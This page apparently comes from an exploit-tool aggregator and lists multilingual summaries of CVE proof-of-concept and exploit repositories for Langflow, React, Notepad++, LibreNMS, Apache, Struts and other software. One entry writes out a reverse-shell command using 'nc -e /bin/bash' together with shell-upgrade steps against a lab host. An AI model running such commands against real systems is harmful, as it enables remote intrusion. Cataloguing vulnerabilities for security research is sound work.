CVE-2026-33017-Exploit

Fireflow RCE एक्सप्लॉइट Langflow के लिए buildpublictmp एंडपॉइंट के माध्यम से रिमोट कोड निष्पादन। पब्लिक फ्लो बिल्ड एंडपॉइंट के माध्यम से एक्सप्लॉइट जो टार्गेट पर रिवर्स शेल निष्पादित करता है। आवश्यकताएँ Python 3.8+ httpx लाइब्रेरी इंस्टॉल करें: root@kitploit: pip install httpx उपयोग root@kitploit...

CVE-2025-55182

🚨 CVE-2025-55182 — React2Shell CVE-2025-55182 è una vulnerabilità critica di Esecuzione Remota di Codice RCE che colpisce React Server Components RSC. 📌 Panoramica Questa vulnerabilità consente a aggressori non autenticati di eseguire codice arbitrario su server vulnerabili. Il problema ha origin...

CVE-2026-48800-PoC

CVE-2026-48800 — PoC di esecuzione di codice arbitrario in Notepad++ Gravità: Alta | Versioni interessate: Notepad++ ≤ 8.9.6 | Correzione: v8.9.6.1 Uno script PoC per CVE-2026-48800, una vulnerabilità di esecuzione di codice arbitrario in Notepad++ ≤ 8.9.6 tramite shortcuts.xml. Per tutti i...

CVE-2026-55182 LibreNMS: Remote Code Execution by Signal Alert Transportation Module

LibreNMS is a network monitoring system. In versions from 21.6.0 up to 26.5.0, the Signal alert transport is vulnerable to command injection because the signal-cli path and the Recipient field of an alert transport entry are insufficiently escaped before being passed to an exec call. An...

CVE-2026-55182 LibreNMS: Remote Code Execution by Signal Alert Transportation Module

LibreNMS is a network monitoring system. In versions from 21.6.0 up to 26.5.0, the Signal alert transport is vulnerable to command injection because the signal-cli path and the Recipient field of an alert transport entry are insufficiently escaped before being passed to an exec call. An...

CVE-2026-55182

LibreNMS , a network monitoring system, is vulnerable to command injection in the Signal alert transport module (versions 21.6.0 through 26.5.0). The root cause lies in insufficiently escaped signal-cli path and Recipient field in the deliverAlert function of Signal.php, which are passed to unsaf...

heartwood

❤️🪵 Radicle Heartwood Protokoll & Stack Heartwood ist die dritte Iteration des Radicle-Protokolls, ein leistungsstarker Peer-to-Peer-Stack für Code-Zusammenarbeit und -Veröffentlichung. Das Repository enthält eine vollständige Implementierung von Heartwood, komplett mit einer benutzerfreundlichen...

CVE-2025-25347

CVE-2025-25347 Übersicht Dieses Tool wird verwendet, um die Schwachstelle CVE-2025-25347 im QingLong Panel zu testen, einer Open-Source-Plattform zur Verwaltung von Task-Automatisierung. Diese Schwachstelle ermöglicht Remote Code Execution RCE , da das Panel an bestimmten Endpunkten keine...

CVE-2021-42013

CVE-2021-42013 Mitwirkender 석은호@eunho87 CVE-2021-42013 Apache http Server Path Traversal Schwachstellenübersicht Ein Fehler in der Pfadnormalisierung des Apache HTTP Server 2.4.50 ermöglicht es, ohne Authentifizierung beliebige Dateien zu lesen oder entfernten Code auszuführen. Er wurde durch ein...

struts2_cve-2017-5638

struts2cve-2017-5638 Dies ist eine Art Java-Portierung des Python-Exploits unter: https://www.exploit-db.com/exploits/41570/. Diese Software wurde ohne externe Abhängigkeiten geschrieben. HAFTUNGSAUSSCHLUSS Dieses Tool ist für Sicherheitsingenieure und AppSec-Leute für Sicherheitsbewertungen...

React2Shell

@React2Hell — CVE-2025-55182 Exploit 🔥 Exploração de Execução Remota de Código RCE no Next.js / React Server root@kitploit: █████▄ ▄▄▄▄▄ ▄▄▄ ▄▄▄▄ ▄▄▄▄▄▄ ████▄ ▄▄▄▄▄ ██ ██ ▄▄▄▄▄ ▄▄ ▄▄ ██▄▄██▄ ██▄▄ ██▀██ ██▀▀▀ ██ ▄██▀ ██▄▄ ██████ ██▄▄ ██ ██ ██ ██ ██▄▄▄ ██▀██ ▀████ ██ ███▄▄ ▄▄▄███ ██ ██ ██▄▄▄ ██▄▄▄...

CVE-2022-22965

🚨 CVE-2022-22965 — "Spring4Shell" Kritische Remote Code Execution RCE Schwachstelle Öffentlich bekannt gegeben: 31. März 2022 📖 Inhaltsverzeichnis Übersicht Betroffene Komponenten Technische Ursache Ausnutzungsbedingungen Auswirkungen Schweregrad & CVSS Absicherung & Patches Zeitplan Vergleich mi...

CVE-2026-66492

Pfad-Traversal im Zielverzeichnis des Datei-Uploads PhocaCommander ≤ 6.1.3 — Authentifizierter Administrator schreibt Dateien außerhalb des Webroot ZUSAMMENFASSUNG Der Datei-Upload-Handler in PhocaCommander erstellt den Zielpfad aus einem angreiferkontrollierten, base64-kodierten folder-Parameter...

CVE-2023-6019

CVE-2023-6019 - Anyscale Ray Dashboard RCE non autenticata PoC per CVE-2023-6019 — Esecuzione di codice in remoto tramite l'API Jobs della Ray Dashboard non autenticata. Creato da oguiii Descrizione Anyscale Ray è un framework open-source per carichi di lavoro distribuiti di ML/AI. Le versioni...

CVE-2025-24893

شل عكسي لـ CVE-2025-24893 root@kitploit: python3 CVE-2025-24893.py -u http://wiki.editor.htb/ -c "busybox nc -e /bin/bash" ترقية الشل 1. python3 -c 'import pty; pty.spawn"/bin/bash"' 2. ctrl + z 3. stty size 4. stty raw -echo; fg 5. stty rows x columns y 6. export TERM=xterm...

LetsDefend-SOC173-Follina-0-Day-Detected

LetsDefend-SOC173-Follina-0-Day-Detected Somos apresentados a um alerta de segurança que indica a deteção da vulnerabilidade Follina CVE-2022-30190. Um documento Word malicioso acionou a execução do msdt.exe, sugerindo possível execução remota de código no host JonasPRD. A nossa tarefa é investig...

CVE-2025-55182-test

React2shell PoC - CVE-2025-66478 Questo repository contiene un progetto proof-of-concept React/Next.js per CVE-2025-66478. Struttura del Progetto my-cve-2025-66478-app/ - App Next.js usata per la PoC React2shell Stack Tecnologico Next.js 16.0.6 React 19.2.0 TypeScript Tailwind CSS v4 Per Iniziare...

CVE-2024-46506

CVE-2024-46506 Questa è un'implementazione Python standalone per CVE-2024-46506. Ho creato questo script perché riuscivo a trovare solo il modulo Metasploit e mi serviva una versione leggera e portabile che non richiedesse l'intero Metasploit Framework. Disclaimer Questo strumento è destinato...

cve-2025-55182

Exploit Python per CVE-2025-55182 Script Python 3 che può essere utilizzato per dimostrare CVE-2025-55182. Sfrutta una vulnerabilità di injection JavaScript lato server nelle applicazioni Next.js/React, consentendo l'esecuzione remota di codice tramite dati di form multipart malformati. ⚠️ Solo pe...

CVE-2025-48799-

CVE-2025-48799 – Esecuzione di codice remoto in Apache Tomcat PoC Questo repository contiene un proof-of-concept per CVE-2025-48799, una vulnerabilità di esecuzione di codice remoto scoperta in Apache Tomcat 9.0.48. Il difetto deriva da un overflow di interi nel parser delle intestazioni HTTP, ch...